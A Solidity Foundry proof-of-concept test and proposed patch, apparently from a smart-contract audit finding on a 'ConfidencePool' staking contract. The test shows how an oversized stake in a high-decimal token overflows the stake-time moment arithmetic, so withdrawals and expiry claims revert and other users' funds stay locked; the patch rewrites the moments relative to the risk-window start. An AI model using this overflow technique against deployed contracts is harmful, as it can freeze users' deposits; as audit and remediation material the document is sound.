pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {stdError} from "forge-std/StdError.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract RiskStartOverflowPoCToken is ERC20 {
constructor() ERC20("Risk Start Overflow PoC", "RSPOC") {}
function decimals() public pure override returns (uint8) {
return 60;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract AcceptedStakeCanOverflowFirstRiskStartMomentsAndDisableTheActiveRiskExpiryBackstopPoC is Test {
uint256 internal constant ENTRY_TIME = 1_750_000_000;
address internal constant SCOPE = address(0xC0FFEE);
RiskStartOverflowPoCToken internal token;
MockAgreement internal agreement;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal registry;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal whale = makeAddr("whale");
address internal victim = makeAddr("victim");
address internal donor = makeAddr("donor");
function setUp() external {
vm.warp(ENTRY_TIME);
token = new RiskStartOverflowPoCToken();
agreement = new MockAgreement(address(this));
agreement.setContractInScope(SCOPE, true);
attackRegistry = new MockAttackRegistry();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
registry = new MockSafeHarborRegistry();
registry.setAttackRegistry(address(attackRegistry));
registry.setAgreementValid(address(agreement), true);
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(implementation), moderator)
)
)
)
);
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = SCOPE;
pool = ConfidencePool(
factory.createPool(address(agreement), address(token), ENTRY_TIME + 31 days, 1, recovery, scope)
);
}
function test_PoC_RiskStartOverflowDisablesActiveRiskExpiryBackstop() external {
uint256 hugeStake = type(uint256).max / (ENTRY_TIME * ENTRY_TIME) - 1_000_000 ether;
_stake(whale, hugeStake);
_stake(victim, 100 ether);
_contributeBonus(donor, 1 ether);
vm.warp(ENTRY_TIME + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0);
vm.expectRevert(stdError.arithmeticError);
vm.prank(victim);
pool.withdraw();
vm.warp(pool.expiry());
vm.expectRevert(stdError.arithmeticError);
vm.prank(victim);
pool.claimExpired();
vm.expectRevert(stdError.arithmeticError);
vm.prank(donor);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED));
assertEq(token.balanceOf(address(pool)), hugeStake + 101 ether);
vm.expectRevert(IConfidencePool.OutcomeNotEligibleForSweep.selector);
pool.sweepUnclaimedBonus();
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}
Store time moments relative to riskWindowStart instead of using absolute Unix timestamps. Pre-risk stake receives an offset of zero, so opening the risk window no longer requires multiplying the entire
accepted stake by a later timestamp.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
- uint256 newEntry = block.timestamp;
- uint256 start = riskWindowStart;
- if (start != 0 && newEntry < start) newEntry = start;
-
- uint256 contribTime = received * newEntry;
- uint256 contribTimeSq = received * newEntry * newEntry;
+ // Moments are measured relative to riskWindowStart.
+ // All pre-risk stake starts at offset zero.
+ uint256 entryOffset =
+ riskWindowStart == 0
+ ? 0
+ : block.timestamp - riskWindowStart;
+
+ uint256 contribTime = received * entryOffset;
+ uint256 contribTimeSq =
+ received * entryOffset * entryOffset;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
- sumStakeTime = totalEligibleStake * t;
- sumStakeTimeSq = totalEligibleStake * t * t;
+ // Pre-risk stake was already recorded at offset zero.
+ // Opening the window therefore requires no aggregate multiplication.
+ sumStakeTime = 0;
+ sumStakeTimeSq = 0;
emit RiskWindowStarted(t);
}
function _bonusShare(
address u,
uint256 userEligible
) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
- uint256 T = outcomeFlaggedAt;
+ uint256 duration =
+ outcomeFlaggedAt - riskWindowStart;
- uint256 userPlus =
- T * T * userEligible + userSumStakeTimeSq[u];
- uint256 userMinus =
- 2 * T * userSumStakeTime[u];
+ uint256 userPlus =
+ duration * duration * userEligible
+ + userSumStakeTimeSq[u];
+ uint256 userMinus =
+ 2 * duration * userSumStakeTime[u];
- uint256 plus =
- T * T * snapshotTotalStaked
- + snapshotSumStakeTimeSq;
- uint256 minus =
- 2 * T * snapshotSumStakeTime;
+ uint256 plus =
+ duration * duration * snapshotTotalStaked
+ + snapshotSumStakeTimeSq;
+ uint256 minus =
+ 2 * duration * snapshotSumStakeTime;
// ...
}
This preserves the intended behavior, pre-risk stake begins earning at riskWindowStart, while removing the later aggregate moment reconstruction that can make the first risk observation revert.